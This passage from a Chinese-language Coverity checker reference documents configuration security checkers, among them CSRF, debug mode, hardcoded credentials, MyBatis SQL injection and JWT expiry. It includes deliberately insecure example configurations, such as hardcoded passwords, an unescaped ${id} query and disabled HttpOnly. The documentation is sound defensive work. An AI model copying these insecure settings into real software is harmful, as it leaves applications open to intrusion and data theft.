默认禁用： CONFIG.DEAD_AUTHORIZATION_RULE 默认禁用。要启用它，您可以在 cov-analyze 命令中使用 --enable 选项。

Web 应用程序安全检查器启用：要启用 CONFIG.DEAD_AUTHORIZATION_RULE 以及其他 Web 应用程序检查器，请使用 --webapp-security 选项。

4.58.2. 缺陷剖析

CONFIG.DEAD_AUTHORIZATION_RULE 缺陷的主要事件可识别不起作用的验证规则。有支持事件表明该规则控制了它。

4.58.3. 示例

本部分提供了一个或多个 CONFIG.DEAD_AUTHORIZATION_RULE 示例。

该示例说明了 ASP.NET 应用程序的 Web.config 文件中的问题。

```
<configuration>
  <location path="user-only-content.aspx">
    <system.web>
```

```

<authorization>
  <allow users="*"/>
  <deny users="?"/>    <!-- Defect: will not deny anonymous users as intended -->
</authorization>

</system.web>
</location>
</configuration>

```

4.59. CONFIG.DJANGO_CSRF_PROTECTION_DISABLED

安全检查器

4.59.1. 概述

支持的语言：. Python

CONFIG.DJANGO_CSRF_PROTECTION_DISABLED 检查器标记 CsrfViewMiddleware 插件未启用的情况。

CONFIG.DJANGO_CSRF_PROTECTION_DISABLED 检查器默认禁用。它在审计模式下启用。

4.59.2. 示例

本部分提供了一个或多个 CONFIG.DJANGO_CSRF_PROTECTION_DISABLED 示例。

在下面的示例中，针对 MIDDLEWARE 列表显示了 CONFIG.DJANGO_CSRF_PROTECTION_DISABLED 缺陷，因为未向该列表添加 django.middleware.csrf.CsrfViewMiddleware。

```

MIDDLEWARE = [ ##defect here.
    "django.middleware.common.CommonMiddleware",
]

```

4.60. CONFIG.DUPLICATE_SERVLET_DEFINITION

安全检查器

4.60.1. 概述

支持的语言：. Java

CONFIG.DUPLICATE_SERVLET_DEFINITIONS 查找部署描述符中的多个 servlet 定义共享同一名称的情况。当部署描述符（即 WEB-INF/web.xml）存在 servlet 名称冲突时，则应用程序容器只会部署定义的第一个 servlet。

先决条件：. 此检查器可针对非源代码文件（例如配置）运行，并生成缺陷报告。要运行此检查器，您首先必须通过调用 cov-emit-java --war（与 --webapp-archive 相同）或以下选项之一发出配置：--findwars、--findwars-unpacked、--findears 或 --findears-unpacked。

默认禁用 : CONFIG.DUPLICATE_SERVLET_DEFINITION 默认禁用。要启用它，您可以在 cov-analyze 命令中使用 --enable 选项。

Web 应用程序安全检查器启用 : 要启用 CONFIG.DUPLICATE_SERVLET_DEFINITION 以及其他 Web 应用程序检查器，请使用 --webapp-security 选项。

4.60.2. 示例

本部分提供了一个或多个 CONFIG.DUPLICATE_SERVLET_DEFINITION 示例。

下面的示例说明了包含多个 servlet 的 web.xml 文件共享同一名称 :

```
<web-app version="3.0" xmlns="http://java.sun.com/xml/ns/javaee"
    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
    xsi:schemaLocation="http://java.sun.com/xml/ns/javaee
        http://java.sun.com/xml/ns/javaee/web-app_3_0.xsd">

    <servlet>
        <servlet-name>welcome</servlet-name>
        <servlet-class>WelcomeServlet</servlet-class>
    </servlet>
    <servlet> <!-- // The name ServletErrorPage is used multiple times -->
        <servlet-name>ServletErrorPage</servlet-name>
        <servlet-class>tests.Error.ServletErrorPage</servlet-class>
    </servlet>
    <servlet>
        <servlet-name>ServletErrorPage</servlet-name>
        <servlet-class>tests.Filter.ForwardedServlet</servlet-class>
    </servlet>

    <servlet-mapping>
        <servlet-name>welcome</servlet-name>
        <url-pattern>/hello.welcome</url-pattern>
    </servlet-mapping>

    <servlet-mapping>
        <servlet-name>ServletErrorPage</servlet-name>
        <url-pattern>/ServletErrorPage</url-pattern>
    </servlet-mapping>

    <servlet-mapping>
        <servlet-name>ForwardedServlet</servlet-name>
        <url-pattern>/ForwardedServlet</url-pattern>
    </servlet-mapping>
</web-app>
```

4.60.3. 事件

本部分描述了 CONFIG.DUPLICATE_SERVLET_DEFINITION 检查器生成的一个或多个事件。

- event - (主要事件) 问题的位置。
- remediation - 关于修复问题的建议。

4.61. CONFIG.DWR_DEBUG_MODE

安全检查器

4.61.1. 概述

支持的语言：. Java

CONFIG.DWR_DEBUG_MODE 查找启用了直接 Web 远程通信 (DWR) 框架的调试模式的情况。该检查器可检查与 DWR (例如 Spring bean 定义、部署描述符等) 相关的配置文件，并会在调试标志被设置为 true 时报告问题。

当在 DWR 调试模式启用的情况下部署应用程序时，任何用户都可以访问显示在调试 servlet 下的信息。可以在 `http://<app context>/dwr/index.html` 上找到它。

先决条件：. 此检查器可针对非源代码文件 (例如配置) 运行，并生成缺陷报告。要运行此检查器，您首先必须通过调用 `cov-emit-java --war` (与 `--webapp-archive` 相同) 或以下选项之一发出配置：`--findwars`、`--findwars-unpacked`、`--findears` 或 `--findears-unpacked` 。

默认禁用：CONFIG.DWR_DEBUG_MODE 默认禁用。要启用它，您可以在 `cov-analyze` 命令中使用 `--enable` 选项。

Web 应用程序安全检查器启用：要启用 CONFIG.DWR_DEBUG_MODE 以及其他 Web 应用程序检查器，请使用 `--webapp-security` 选项。

4.61.2. 示例

本部分提供了一个或多个 CONFIG.DWR_DEBUG_MODE 示例。

下面的 Spring `application-context.xml` 显式启用了 DWR 的调试模式。

```
<beans
    xmlns="http://www.springframework.org/schema/beans"
    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
    xmlns:dwr="http://www.directwebremoting.org/schema/spring-dwr"
    xsi:schemaLocation="http://www.springframework.org/schema/beans
                        http://www.springframework.org/schema/beans/spring-beans-2.5.xsd
                        http://www.directwebremoting.org/schema/spring-dwr
                        http://www.directwebremoting.org/schema/spring-dwr-3.0.xsd">

    <dwr:controller id="dwrController" debug="true">
        <dwr:config-param name="activeReverseAjaxEnabled" value="true"/>
    </dwr:controller>
</beans>
```

4.61.3. 事件

本部分描述了 CONFIG.DWR_DEBUG_MODE 检查器生成的一个或多个事件。

- event - (主要事件) 问题的位置。

- `remediation` - 关于修复问题的建议。

4.62. CONFIG.DYNAMIC_DATA_HTML_COMMENT

安全检查器

4.62.1. 概述

支持的语言 : . C#、Java、Visual Basic

CONFIG.DYNAMIC_DATA_HTML_COMMENT 查找动态数据输出从服务器进入 HTML 注释上下文的情况。

该检查器可查找以下任何类型的服务器端动态数据输出到客户端 HTML 注释中的情况 :

- JSP EL 表达式 : `${bean.field}`
- JSP scriptlet : `<%= MyBean.getField() %>`
- JSP 标记 : `<c:out value="Some content"/>`
- ASPX 服务器端 web 形式 : `<asp:HyperLink runat="server" ... />`
- ASPX 内联表达式 : `<%= expression %>`
- CSHTML 内联表达式 : `@arg or @ViewBag.key or @(Request.Parameter["foo"])`
- CSHTML 内联语句 : `@{ a = b; }`
- CSHTML 内置关键字 : `@foreach(var c in List) { ... }`

在大部分情况下，这些问题可以通过将 HTML 注释替换为 JSP、ASPX 或 CSHTML 注释来解决。

这个问题的影响取决于应用程序输出到 HTML 页面的数据的性质。不打算让客户查看的数据可能会泄漏敏感信息。在任何情况下，服务器都将执行不需要的处理，并不必要地扩大结果输出的大小。

先决条件 : 此检查器在 web 应用程序模板文件上运行。此代码可以通过将 WAR 传递给 cov-emit-java 或使用 JSP 的文件系统捕获发出。请参阅《Coverity Analysis 用户和管理员指南》(PDF) , 以了解更多信息。

默认禁用 : CONFIG.DYNAMIC_DATA_HTML_COMMENT 默认禁用。要启用它，您可以在 cov-analyze 命令中使用 `--enable` 选项。

Web 应用程序安全检查器启用 : 要启用 CONFIG.DYNAMIC_DATA_HTML_COMMENT 以及其他 Web 应用程序检查器，请使用 `--webapp-security` 选项。

4.62.2. 示例

本部分提供了一个或多个 CONFIG.DYNAMIC_DATA_HTML_COMMENT 示例。

4.62.2.1. Java

下面的 JSP 文件按以下顺序将动态数据输出了两次：

- 紧接 Hello 之后的位置。
- 在 HTML 注释内。该检查器会针对此问题报告缺陷，因为这很有可能是残留调试代码。

```
<%@ taglib uri="http://java.sun.com/jsp/jstl/functions" prefix="fn" %>
<html>
  <body>
    Hello ${fn:escapeXml(user.name)}! <!-- ${fn:escapeXml(user.nickname)} -->
  </body>
</html>
```

4.62.2.2. C#

下面的 ASPX 块输出 HTML 注释中的动态数据。它将由此检查器报告。

```
<!--
<asp:Content ID="body" ContentPlaceHolderID="body" runat="server">
  <div>Here is some content</div>
</asp:Content>
-->
```

它的目的是从客户端输出中抑制内容，这可以通过服务器端的 ASPX 注释完成，如下所示。

```
<%--
<asp:Content ID="body" ContentPlaceHolderID="body" runat="server">
  <div>Here is some content</div>
</asp:Content>
--%>
```

4.62.3. 缺陷剖析

CONFIG.DYNAMIC_DATA_HTML_COMMENT 缺陷事件标识 HTML 注释内的动态服务器端数据。

4.63. CONFIG.ENABLED_DEBUG_MODE

安全检查器

4.63.1. 概述

支持的语言：. C#、JavaScript、Python、TypeScript、Visual Basic

CONFIG.ENABLED_DEBUG_MODE 检查器可查找在 Web 应用程序中启用调试模式的情况。根据语言的不同，启用调试可能会导致意外的应用程序行为或泄漏有关应用程序代码和环境的敏感信息。

对于 JavaScript：CONFIG.ENABLED_DEBUG_MODE 检查器查找使用 debugger 语句的情况。这会带来安全风险，因为它可能导致意外的应用程序行为；此类语句必须从生产代码中删除。

对于 Python : CONFIG.ENABLED_DEBUG_MODE 检查器查找在 Django 应用程序中启用调试模式的情况。这会导致安全风险，因为错误处理程序将显示可能包含敏感信息的冗长错误消息。

默认禁用 : CONFIG.ENABLED_DEBUG_MODE 默认禁用。

对于 C# 和 VisualBasic : 要同时启用 CONFIG.ENABLED_DEBUG_MODE 以及其他 Web 应用程序检查器，请使用 --webapp-security 选项。

对于 JavaScript、TypeScript 和 Python : 要同时启用 CONFIG.ENABLED_DEBUG_MODE 以及其他 Audit 检查器，请使用 --enable-audit-checkers 选项。

4.63.2. 示例

本部分提供了一个或多个 CONFIG.ENABLED_DEBUG_MODE 示例。

4.63.2.1. JavaScript

在下面的示例中，针对使用 debugger 语句的情况下显示了 CONFIG.ENABLED_DEBUG_MODE 缺陷：

```
var sum = 0;

for (var i = 1; i<5; i++) {
    var sum = sum + i;
    Debug.write("loop index is " + i);
    debugger; //#defect#CONFIG.ENABLED_DEBUG_MODE
}
```

4.63.2.2. Python

在下面的示例中，在将 DEBUG 设置为 True 的情况下显示了 CONFIG.ENABLED_DEBUG_MODE 缺陷。

```
DEBUG = True #defect here
```

4.63.2.3. Visual Basic

下面展示了 ASP.NET 应用程序中的 Web.config 文件：

```
<configuration>
    <system.web>
        <compilation debug="true"> // Defect here.
        ...
    </system.web>
...
</configuration>
```

4.64. CONFIG.ENABLED_TRACE_MODE

安全检查器

4.64.1. 概述

支持的语言 : . C#、Visual Basic

CONFIG.ENABLED_TRACE_MODE 查找在 Web 应用程序中启用 ASP.NET 跟踪模式的情况。在对单个页面或整个应用程序启用此功能后，敏感信息将被附加到服务器响应，例如应用程序状态、服务器变量和配置详细信息。泄露这些诊断信息会带来安全风险。

默认禁用： CONFIG.ENABLED_TRACE_MODE 默认禁用。要启用它，您可以在 cov-analyze 命令中使用 --enable 选项。

Web 应用程序安全检查器启用：要启用 CONFIG.ENABLED_TRACE_MODE 以及其他 Web 应用程序检查器，请使用 --webapp-security 选项。

4.64.2. 缺陷剖析

CONFIG.ENABLED_TRACE_MODE 缺陷包含可识别错误安全配置的单个事件。

4.64.3. 示例

本部分提供了一个或多个 CONFIG.ENABLED_TRACE_MODE 示例。

ASP.NET 应用程序中的 Web.config 文件：

```
<configuration>
    <system.web>
        <trace enabled="true" localOnly="false" /> // Defect here.
    ...
    </system.web>
...
</configuration>
```

4.65. CONFIG.HANA_XS_PREVENT_XSRF_DISABLED

安全检查器

4.65.1. 概述

支持的语言 : . JavaScript

CONFIG.HANA_XS_PREVENT_XSRF_DISABLED 检查器识别未启用跨站请求伪造 (XSRF) 预防的 HANA XS 应用程序。对于不是严格只读的所有应用程序，建议这样做。

跨站点请求伪造是一种攻击，其中恶意角色扮演用户的浏览器向另一个利用其凭据修改某些应用程序状态或执行不必要操作的其他站点发出请求。

对于服务器来说，成功的攻击与用户执行的任何合法操作并没有区别。这两类事务都起源于浏览器客户端，而且这两类事务都包括适当的会话标识符。要检测跨站点请求伪造攻击并且在发生此类攻击后恢复可能异常困难。

通过在应用程序访问权限 (.xsaccess) 文件中添加关键字可以启用 XSRF 预防。它默认禁用。

启用后，HANA XS XSRF 预防功能将添加服务器端检查，使所有浏览器会话都具有有效的防伪令牌。将为每个会话后端生成令牌，任何不包含有效令牌的请求都将被拒绝。可能需要修改客户端以获取并包含 XSRF 令牌头文件。

默认禁用：CONFIG.HANA_XS_PREVENT_XSRF_DISABLED 默认禁用。要启用它，您可以在 cov-analyze 命令中使用 --enable 选项。

Web 应用程序安全检查器启用：要启用 CONFIG.HANA_XS_PREVENT_XSRF_DISABLED 以及其他 Web 应用程序检查器，请使用 --webapp-security 选项。

4.65.2. 缺陷剖析

CONFIG.HANA_XS_PREVENT_XSRF_DISABLED 缺陷事件识别不启用 XSRF 预防的应用程序访问权限文件。

4.65.3. 示例

本部分提供了一个或多个 CONFIG.HANA_XS_PREVENT_XSRF_DISABLED 示例。

下面的 HANA XS 应用程序中的 .xsaccess 应用程序访问权限文件未启用 XSRF 预防，该检查器将报告缺陷。

```
{  
  "exposed" : true,  
  "authentication" : { "method" : "Form" }  
}
```

这可以通过启用该功能修复，如下所示：

```
{  
  "exposed" : true,  
  "authentication" : { "method" : "Form" },  
  "prevent_xsrf" : true  
}
```

4.66. CONFIG.HARDCODED_CREDENTIALS_AUDIT

安全检查器

4.66.1. 概述

支持的语言：. C#、Java、JavaScript、TypeScript

CONFIG.HARDCODED_CREDENTIALS_AUDIT 检查器直接在配置文件中查找凭据。对此类配置文件具有访问权限的用户然后可能使用这些凭据来访问生产数据或服务。

CONFIG.HARDCODED_CREDENTIALS_AUDIT 检查器默认禁用。它在审计模式下启用。

4.66.2. 示例

本部分提供了一个或多个 CONFIG.HARDCODED_CREDENTIALS_AUDIT 示例。

在下面的示例中，针对 C# 应用程序的 web.config 文件中的硬编码凭证显示 CONFIG.HARDCODED_CREDENTIALS_AUDIT 缺陷。

```
<?xml version = "1.0" encoding = "UTF-8"?>
<configuration>
  <Database>
    <add key="ConnectionString"
    value="Server=172.16.200.60;Database=DEV_Multi_Tenant;Trusted_Connection=False;User
    Id=sa;Password=eprocure" /> <!-- defect here -->
  </Database>
</configuration>
```

在下面的示例中，针对 .yaml 文件中用于 Spring Boot 应用程序的硬编码凭据显示 CONFIG.HARDCODED_CREDENTIALS_AUDIT 缺陷。

```
server:
  port: 8080
  contextPath: /SpringBootCRUDApp
spring:
  profiles: prod
datasource:
  sampleapp:
    url: jdbc:mysql://localhost:3306/websystique
    username: myuser
    password: mypassword # defect here
    driverClassName: com.mysql.jdbc.Driver
    defaultSchema:
    maxPoolSize: 20
    hibernate:
      hbm2ddl.method: update
      show_sql: true
      format_sql: true
      dialect: org.hibernate.dialect.MySQLDialect
```

4.67. CONFIG.HARDCODED_TOKEN

4.67.1. 概述

支持的语言：. JavaScript、TypeScript

CONFIG.HARDCODED_TOKEN 检查器查找直接存储在配置文件中的令牌、密码或密钥。对此类配置文件具有访问权限的攻击者然后可能使用这些令牌来访问生产数据或服务。

CONFIG.HARDCODED_TOKEN 检查器默认禁用。您可以使用 cov-analyze 命令的 --webapp-security 选项启用它。

4.67.2. 示例

本部分提供了一个或多个 CONFIG.HARDCODED_TOKEN 示例。

在下面的示例中，针对 .env 文件中用于 Instagram 的硬编码令牌显示 CONFIG.HARDCODED_TOKEN 缺陷。

```
instagram_id=1582702853
instagram_secret=066c5c6c86aa4f3c9d7654ffed9d2686
```

4.68. CONFIG.HTTP_VERB_TAMPERING

安全检查器

4.68.1. 概述

支持的语言：. Java

CONFIG.HTTP_VERB_TAMPERINGs 可查找定义了 security-constraint 并且使用了 HTTP 方法的情况。在 security-constraint 中使用 HTTP 方法可告诉应用程序容器约束仅适用于这些 HTTP 方法。通过将 HTTP 方法更改为 security-constraint 未覆盖的方法，通常很容易绕过此类安全约束。这可以导致绕过验证检查。

先决条件：. 此检查器可针对非源代码文件（例如配置）运行，并生成缺陷报告。要运行此检查器，您首先必须通过调用 cov-emit-java --war（与 --webapp-archive 相同）或以下选项之一发出配置：--findwars、--findwars-unpacked、--findears 或 --findears-unpacked。

默认禁用：CONFIG.HTTP_VERB_TAMPERING 默认禁用。要启用它，您可以在 cov-analyze 命令中使用 --enable 选项。

Web 应用程序安全检查器启用：要启用 CONFIG.HTTP_VERB_TAMPERING 以及其他 Web 应用程序检查器，请使用 --webapp-security 选项。

4.68.2. 示例

本部分提供了一个或多个 CONFIG.HTTP_VERB_TAMPERING 示例。

以下位于部署描述符中的 security-constraint 告诉应用程序容器，应用程序 /admin/ 部分中的所有 GET 或 POST 请求必须来自具有管理员权限的用户。

```
<security-constraint>
  <web-resource-collection>
    <web-resource-name>admin-subapp</web-resource-name>
    <url-checker>/admin/*</url-checker>
    <http-method>GET</http-method>
    <http-method>POST</http-method>
  </web-resource-collection>
  <auth-constraint>
    <role-name>admin</role-name>
  </auth-constraint>
```

```
</security-constraint>
```

4.68.3. 事件

本部分描述了 CONFIG.HTTP_VERB_TAMPERING 检查器生成的一个或多个事件。

- event - (主要事件) 问题的位置。
- remediation - 关于修复问题的建议。

4.69. CONFIG.JAVAEE_MISSING_HTTPONLY

安全检查器

4.69.1. 概述

支持的语言：. Java

CONFIG.JAVAEE_MISSING_HTTPONLY 查找在 Servlet 3.x 部署描述符中显式禁用会话 ID Cookie 的 HttpOnly 标志或者未设置该标志的情况。HttpOnly 标志可阻止客户端应用程序 (JavaScript 等) 获取 cookie 值的访问权限。最佳做法是启用此 cookie 标志以阻止跨站点脚本攻击窃取会话 ID。

先决条件：. 此检查器可针对非源代码文件 (例如配置) 运行，并生成缺陷报告。要运行此检查器，您首先必须通过调用 cov-emit-java --war (与 --webapp-archive 相同) 或以下选项之一发出配置：--findwars、--findwars-unpacked、--findears 或 --findears-unpacked 。

默认禁用： CONFIG.JAVAEE_MISSING_HTTPONLY 默认禁用。要启用它，您可以在 cov-analyze 命令中使用 --enable 选项。

Web 应用程序安全检查器启用：要启用 CONFIG.JAVAEE_MISSING_HTTPONLY 以及其他 Web 应用程序检查器，请使用 --webapp-security 选项。

4.69.2. 示例

本部分提供了一个或多个 CONFIG.JAVAEE_MISSING_HTTPONLY 示例。

下面的部署描述符片段 (web.xml) 表明开发人员显式禁用了 HttpOnly 标志。

```
<web-app>
  ...
  <session-config>
    <cookie-config>
      <http-only>false</http-only>
    </cookie-config>
  </session-config>
  ...
</web-app>
```

4.69.3. 事件

本部分描述了 CONFIG.JAVAEE_MISSING_HTTPONLY 检查器生成的一个或多个事件。

- event - (主要事件) 问题的位置。
- remediation - 关于修复问题的建议。

4.70. CONFIG.JAVAEE_MISSING_SERVLET_MAPPING 安全检查器

4.70.1. 概述

支持的语言 : . Java

CONFIG.JAVAEE_MISSING_SERVLET_MAPPING 检查器标记部署描述符 XML 配置文件包含一个 servlet 条目而没有相应的 servlet 映射的情况。此类未映射的 servlet 将被隐式映射。在隐式映射的情况下，类路径中甚至 .jar 中的任何 servlet 都可以被直接调用，从而带来安全风险。

CONFIG.JAVAEE_MISSING_SERVLET_MAPPING 检查器默认禁用。它仅在审计模式下启用。

4.70.2. 示例

本部分提供了一个或多个 CONFIG.JAVAEE_MISSING_SERVLET_MAPPING 示例。

在下面的示例中，对于没有相应 servlet 映射的名为 points 的 servlet 条目，将显示 CONFIG.JAVAEE_MISSING_SERVLET_MAPPING 缺陷。

```
<?xml version="1.0" encoding="UTF-8"?>
<web-app version="3.1" xmlns="http://xmlns.jcp.org/xml/ns/javaee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_3_1.xsd">
  <servlet>
    <servlet-name>milk</servlet-name> <!-- no defect, has a corresponding servlet
mapping-->
    <servlet-class>com.javapapers.Milk</servlet-class>
  </servlet>

  <servlet>
    <servlet-name>points</servlet-name> <!-- defect here -->
    <servlet-class>com.javapapers.Points</servlet-class>
  </servlet>

  <servlet-mapping>
    <servlet-name>milk</servlet-name>
    <url-pattern>/drink/*</url-pattern>
  </servlet-mapping>
</web-app>
```

4.70.3. 缺陷剖析

这部分描述了 CONFIG.JAVAEE_MISSING_SERVLET_MAPPING 检查器的缺陷信息。

影响：审计

描述：未为 servlet 条目显式设置相应的 servlet 映射。

本地作用：如果未显式完成 servlet 映射，则将应用隐式映射。隐式映射允许按需执行 JSP 页面，并在 Web 应用程序中引入安全风险。在这种情况下，可以直接调用类路径中甚至 JAR 文件中的另一个 servlet。

补救措施：为该 servlet 条目添加一个显式 servlet 映射。

4.71. CONFIG.JSONWEBTOKEN_NON_EXPIRING_TOKEN 安全检查器

4.71.1. 概述

支持的语言：. JavaScript、TypeScript

CONFIG.JSONWEBTOKEN_NON_EXPIRING_TOKEN 检查器在不设置过期时间时创建 Java Web Tokens (JWT) 的情况，这使得它们永远有效。未过期的令牌在手动重置之前仍然有效，这增加了随着时间的推移被利用的风险。如果攻击者获得了对有效令牌的访问权限，则可以危害应用程序并访问敏感信息。

在创建 JWT 时，根据业务需要，始终将 expiresIn 选项显式设置为有效时间，例如“1 小时”、“2 小时”、“30 分钟”。



Note

CONFIG.JSONWEBTOKEN_NON_EXPIRING_TOKEN 检查器仅验证 expiresIn 选项是否存在。它不验证赋值给它的值。如果值太大（例如 48 小时），则应用程序仍然容易受到会话伪造攻击，因为在攻击者能够窃取令牌之后，该令牌将在相当长一段时间内有效。

默认禁用：CONFIG.JSONWEBTOKEN_NON_EXPIRING_TOKEN 默认禁用。要启用它，您可以在 cov-analyze 命令中使用 --enable 选项。

Web 应用程序安全检查器启用：要启用 CONFIG.JSONWEBTOKEN_NON_EXPIRING_TOKEN 以及其他 Web 应用程序检查器，请使用 --webapp-security 选项。

4.71.2. 示例

本部分提供了一个或多个 CONFIG.JSONWEBTOKEN_NON_EXPIRING_TOKEN 示例。

下面的代码示例在不设置过期时间的情况下为用户创建 JWT。对于对 res.cookie 的调用，将显示 CONFIG.JSONWEBTOKEN_NON_EXPIRING_TOKEN 缺陷。

```
var jwt = require('jsonwebtoken');

app.get('/', function(req, res){
  //...
  res.cookie('token', jwt.sign({visits: 1}, 'mySecret', {
    algorithm: 'HS256', // use HMAC SHA256
  })
});
```

```
    notBefore: "2h"
});
```

4.72. CONFIG.MISSING_CUSTOM_ERROR_PAGE

安全检查器

4.72.1. 概述

支持的语言：. C#、Visual Basic

CONFIG.MISSING_CUSTOM_ERROR_PAGE 可查找 Web.Config 文件关闭自定义错误消息的情况。在 Web.Config 文件中，在 <system.web> 下方的 <customErrors> 节点上，不应将模式属性设置为“关闭”(Off)，其默认值为“仅限远程”(RemoteOnly)。第三个有效的模式值为“打开”。在这三个值中，只有“关闭”(Off) 是不安全的。

将模式设置为“关闭”(Off) 会禁用自定义错误页面。当发生这种情况时，ASP.NET 默认向客户端提供详细错误消息，而这会导致向攻击者泄露服务器信息。最佳做法是将模式设置为“打开”(On) 或“仅限远程”(RemoteOnly)。

默认禁用： CONFIG.MISSING_CUSTOM_ERROR_PAGE 默认禁用。要启用它，您可以在 cov-analyze 命令中使用 --enable 选项。

Web 应用程序安全检查器启用：要启用 CONFIG.MISSING_CUSTOM_ERROR_PAGE 以及其他 Web 应用程序检查器，请使用 --webapp-security 选项。

4.72.2. 缺陷剖析

CONFIG.MISSING_CUSTOM_ERROR_PAGE 缺陷包含可识别错误安全配置的单个事件。

4.72.3. 示例

本部分提供了一个或多个 CONFIG.MISSING_CUSTOM_ERROR_PAGE 示例。

当 customErrors 被设置为 Off 时将报告一个缺陷：

```
<configuration>
  <system.web>
    <customErrors mode="Off" />           // CONFIG.MISSING_CUSTOM_ERROR_PAGE defect
    ...
  </system.web>
</configuration>

<configuration>
  <system.web>                         // no defect
  ...
  </system.web>
</configuration>

<configuration>
```

```

<system.web>
  <customErrors mode="On" />           // no defect
  ...
</system.web>
</configuration>

<configuration>
  <system.web>
    <customErrors mode="RemoteOnly" />   // no defect
    ...
  </system.web>
</configuration>

```

4.73. CONFIG.MISSING_GLOBAL_EXCEPTION_HANDLER

安全检查器

4.73.1. 概述

支持的语言：. Java、JavaScript、TypeScript

CONFIG.MISSING_GLOBAL_EXCEPTION_HANDLER 检查器查找全局异常处理程序未定义或者不适用于应用程序的情况。如果未设置全局异常处理程序，应用程序可能会在触发异常时将堆栈跟踪输出给用户。这通常只会导致糟糕的用户体验，但也可能会泄露关于应用程序的内部信息（类名称、工作流等），这可能提供关于如何攻击应用程序的有用线索。最好向至少一个记录器写入未捕获的异常。

先决条件：. 此检查器可针对非源代码文件（例如配置）运行，并生成缺陷报告。要运行此检查器，您首先必须通过调用 cov-emit-java --war（与 --webapp-archive 相同）或以下选项之一发出配置：--findwars、--findwars-unpacked、--findears 或 --findears-unpacked。

默认禁用：CONFIG.MISSING_GLOBAL_EXCEPTION_HANDLER 默认禁用。要启用它，您可以在 cov-analyze 命令中使用 --enable 选项。

Web 应用程序安全检查器启用：要同时启用 CONFIG.MISSING_GLOBAL_EXCEPTION_HANDLER 以及其他 Web 应用程序检查器，请使用 --webapp-security 选项。

4.73.2. 示例

本部分提供了一个或多个 CONFIG.MISSING_GLOBAL_EXCEPTION_HANDLER 示例。

4.73.2.1. Java

对于 Java，该检查器可识别 Struts 1、Struts 2、Java EE 和 JSP，并且会在应用程序中未定义足够多的或者完全未定义全局异常处理程序时报告缺陷。

在下面的示例中，应用程序使用 Struts 1 和 JSP 文件，按如下方式定义全局处理程序是不充分的：

```

...
<global-exceptions>
```

```
<exception key="error.global.exception"
           type="java.lang.Exception"
           path="/WEB-INF/pages/error.jsp" />
</global-exceptions>
...
```

如下面的示例所示，更灵活的配置也会在部署描述符中定义异常处理器，以用于在 JSP 代码中触发的异常。

```
...
<error-page>
    <exception-type>java.lang.Throwable</exception-type>
    <location>/WEB-INF/pages/error.jsp</location>
</error-page>
...
```

4.73.2.2. JavaScript

在下面的示例中，对于使用 `createLogger()` 创建的 `winston` 库的实例，如果其用于进行日志记录而未配置为处理未捕获的异常，则显示 `CONFIG.MISSING_GLOBAL_EXCEPTION_HANDLER` 缺陷。

```
const winston = require('winston');

const logger = winston.createLogger({
  transports: [new winston.transports.Console()],
  format: winston.format.combine(
    winston.format.colorize({ all: true }),
    winston.format.simple()
  )
});
```

4.73.3. 事件

本部分描述了 `CONFIG.MISSING_GLOBAL_EXCEPTION_HANDLER` 检查器生成的一个或多个事件。

- `event` - (主要事件) 问题的位置。
- `remediation` - 关于修复问题的建议。

4.74. CONFIG.MISSING_JSF2_SECURITY_CONSTRAINT 安全检查器

4.74.1. 概述

支持的语言：. Java

`CONFIG.MISSING_JSF2_SECURITY_CONSTRAINT` 查找未定义安全约束来阻止任何用户直接访问 JSF 2 facelet 的情况。如果没有安全约束，任何用户都能直接访问 XHTML 文件 (Facelet)，这可能导致信息泄露。

先决条件：此检查器可针对非源代码文件（例如配置）运行，并生成缺陷报告。要运行此检查器，您首先必须通过调用 cov-emit-java --war（与 --webapp-archive 相同）或以下选项之一发出配置：--findwars、--findwars-unpacked、--findears 或 --findears-unpacked。

默认禁用：CONFIG.MISSING_JSF2_SECURITY_CONSTRAINT 默认禁用。要启用它，您可以在 cov-analyze 命令中使用 --enable 选项。

Web 应用程序安全检查器启用：要启用 CONFIG.MISSING_JSF2_SECURITY_CONSTRAINT 以及其他 Web 应用程序检查器，请使用 --webapp-security 选项。

4.74.2. 示例

本部分提供了一个或多个 CONFIG.MISSING_JSF2_SECURITY_CONSTRAINT 示例。

假设 facelet 位于 /faces/ 下，任何用户都能使用以下项直接访问它们，例如：

```
http://<application context>/faces/example.xhtml
```

4.74.3. 事件

本部分描述了 CONFIG.MISSING_JSF2_SECURITY_CONSTRAINT 检查器生成的一个或多个事件。

- event - (主要事件) 问题的位置。
- remediation - 关于修复问题的建议。

4.75. CONFIG.MYBATIS_MAPPER_SQLI

安全检查器

4.75.1. 概述

支持的语言：Java

CONFIG.MYBATIS_MAPPER_SQLI 可检测使用 \${ } 语法的 iBatis/MyBatis 映射器 XML 文件中出现的未转义字符串替换。未转义字符串替换可能允许恶意用户将未被修改的字符串注入到 SQL 查询中，然后执行 SQL 注入攻击。

最佳做法是使用 #[] 语法创建包含参数的查询，MyBatis 将通过该查询创建预编制语句。

默认禁用：CONFIG.MYBATIS_MAPPER_SQLI 默认禁用。要启用它，您可以在 cov-analyze 命令中使用 --enable 选项。

安全审计启用：要与其他安全审计功能一起启用 CONFIG.MYBATIS_MAPPER_SQLI，请使用 --enable-audit-mode 选项。启用审计模式对检查器有其他作用。有关更多信息，请参阅《Coverity 命令说明》中对 cov-analyze 命令的描述。

4.75.2. 缺陷剖析

CONFIG.MYBATIS_MAPPER_SQLI 缺陷包含可识别错误安全配置的单个事件。

4.75.3. 示例

本部分提供了一个或多个 CONFIG.MYBATIS_MAPPER_SQLI 示例。

下面的示例在 MyBatis Mapper XML 文件中使用了未转义字符串替换，生成了缺陷报告：

```
<mapper namespace="com.synopsys.coverity">

    <select xml:id="getEmployee" parameterType="int"
resultType="com.synopsys.Employee">
        SELECT * FROM EMPLOYEE WHERE ID = ${id}
    </select>

</mapper>
```

下面的示例类似，但使用了更安全的 `#{}` 语法。该检查器不会在此处报告缺陷：

```
<mapper namespace="com.synopsys.coverity">

    <select xml:id="getEmployee" parameterType="int"
resultType="com.synopsys.Employee">
        SELECT * FROM EMPLOYEE WHERE ID = #{id}
    </select>

</mapper>
```

4.76. CONFIG.MYSQL_SSL_VERIFY_DISABLED

安全检查器

4.76.1. 概述

支持的语言：. JavaScript、TypeScript

